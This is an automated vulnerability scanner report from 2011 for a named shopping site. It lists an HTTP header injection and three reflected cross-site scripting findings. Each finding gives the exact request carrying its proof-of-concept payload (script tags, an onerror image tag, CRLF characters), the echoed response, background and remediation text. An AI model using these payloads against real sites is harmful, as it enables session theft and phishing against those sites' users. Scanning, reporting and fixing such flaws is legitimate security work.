CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Fri Apr 01 10:26:48 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler

Loading

1. HTTP header injection

2. Cross-site scripting (reflected)

2.1. http://www.shopcompanion.com/favicon.ico [REST URL parameter 1]

2.2. http://www.shopcompanion.com/favicon.ico [name of an arbitrarily supplied request parameter]

2.3. http://www.shopcompanion.com/favicon.ico [name of an arbitrarily supplied request parameter]



1. HTTP header injection  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.shopcompanion.com
Path:   /favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload f0251%0d%0a2adb1e51840 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

Request

GET /favicon.ico?f0251%0d%0a2adb1e51840=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.shopcompanion.com
Accept: */*
Proxy-Connection: Keep-Alive
Expect: <script>alert(1)</script>

Response

HTTP/1.1 302 URL Redirect
Server: AMOS/1.0
Date: Fri, 01 Apr 2011 11:51:06 GMT
Content-Type: text/html
Content-Length: 301
Location: http://edge.shop.com/ccimg.shop.com/web/favicon.ico?f0251
2adb1e51840
=1
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache

<html><head><title>Document Moved</title>
<META URL=http://edge.shop.com/ccimg.shop.com/web/favicon.ico?f0251
2adb1e51840=1">
</head>
<body><h1>Object Moved</h1>This document may be found <a href=
...[SNIP]...

2. Cross-site scripting (reflected)  previous
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://www.shopcompanion.com/favicon.ico [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.shopcompanion.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload a3772<img%20src%3da%20onerror%3dalert(1)>c857a60db13 was submitted in the REST URL parameter 1. This input was echoed as a3772<img src=a onerror=alert(1)>c857a60db13 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /a3772<img%20src%3da%20onerror%3dalert(1)>c857a60db13 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.shopcompanion.com
Accept: */*
Proxy-Connection: Keep-Alive
Expect: <script>alert(1)</script>

Response

HTTP/1.1 200 OK
Server: AMOS/1.0
Date: Fri, 01 Apr 2011 11:51:32 GMT
Content-Type: text/html; charset=ISO-8859-1
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR NID CURa OUR NOR PHY UNI DEM PRE"
Set-Cookie: AMOS_SID=_live_ticks%3D1301658692012%26live%3DOEzxz%252Eh~zZVjzzwpzmUUWzhWjmzZZZwzkkqWqXwWYWYUzehpxx; Path=/; Domain=.shopcompanion.com;
Set-Cookie: AMOS_NS_ID=074; Path=/; Domain=.shopcompanion.com;
Set-Cookie: CC_SRCID=369; Path=/; Domain=www.shopcompanion.com;
Set-Cookie: AMID=2231967308; Path=/; Domain=.shopcompanion.com; Expires=Tuesday, 01-Jan-38 00:00:01 GMT
Set-Cookie: CATALOGCITY_SSNLIVE111=2231967308; Path=/; Domain=.shopcompanion.com;
Set-Cookie: SHOPPER_LOCATION=Monterey%2C+CA%2C+93940%2C+36%2E600111%2C+-121%2E894521%2C+30; Path=/; Domain=www.shopcompanion.com;
Content-Length: 103533

<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link rel="stylesheet" t
...[SNIP]...
<span class="span tx_bold">> a3772<img src=a onerror=alert(1)>c857a60db13</span>
...[SNIP]...

2.2. http://www.shopcompanion.com/favicon.ico [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.shopcompanion.com
Path:   /favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 1dd62><script>alert(1)</script>ba1f99b34b4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /favicon.ico?1dd62><script>alert(1)</script>ba1f99b34b4=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.shopcompanion.com
Accept: */*
Proxy-Connection: Keep-Alive
Expect: <script>alert(1)</script>

Response

HTTP/1.1 302 URL Redirect
Server: AMOS/1.0
Date: Fri, 01 Apr 2011 11:51:06 GMT
Content-Type: text/html
Content-Length: 349
Location: http://edge.shop.com/ccimg.shop.com/web/favicon.ico?1dd62><script>alert(1)</script>ba1f99b34b4=1
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache

<html><head><title>Document Moved</title>
<META URL=http://edge.shop.com/ccimg.shop.com/web/favicon.ico?1dd62><script>alert(1)</script>ba1f99b34b4=1">
</head>
<body><h1>Object Moved</h1>This docume
...[SNIP]...

2.3. http://www.shopcompanion.com/favicon.ico [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.shopcompanion.com
Path:   /favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 208e7"><script>alert(1)</script>35f0521bc85 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /favicon.ico?208e7"><script>alert(1)</script>35f0521bc85=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.shopcompanion.com
Accept: */*
Proxy-Connection: Keep-Alive
Expect: <script>alert(1)</script>

Response

HTTP/1.1 302 URL Redirect
Server: AMOS/1.0
Date: Fri, 01 Apr 2011 11:51:06 GMT
Content-Type: text/html
Content-Length: 351
Location: http://edge.shop.com/ccimg.shop.com/web/favicon.ico?208e7"><script>alert(1)</script>35f0521bc85=1
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache

<html><head><title>Document Moved</title>
<META URL=http://edge.shop.com/ccimg.shop.com/web/favicon.ico?208e7"><script>alert(1)</script>35f0521bc85=1">
</head>
<body><h1>Object Moved</h1>This docum
...[SNIP]...
<a href="http://edge.shop.com/ccimg.shop.com/web/favicon.ico?208e7"><script>alert(1)</script>35f0521bc85=1">
...[SNIP]...

Report generated by XSS.CX at Fri Apr 01 10:26:48 CDT 2011.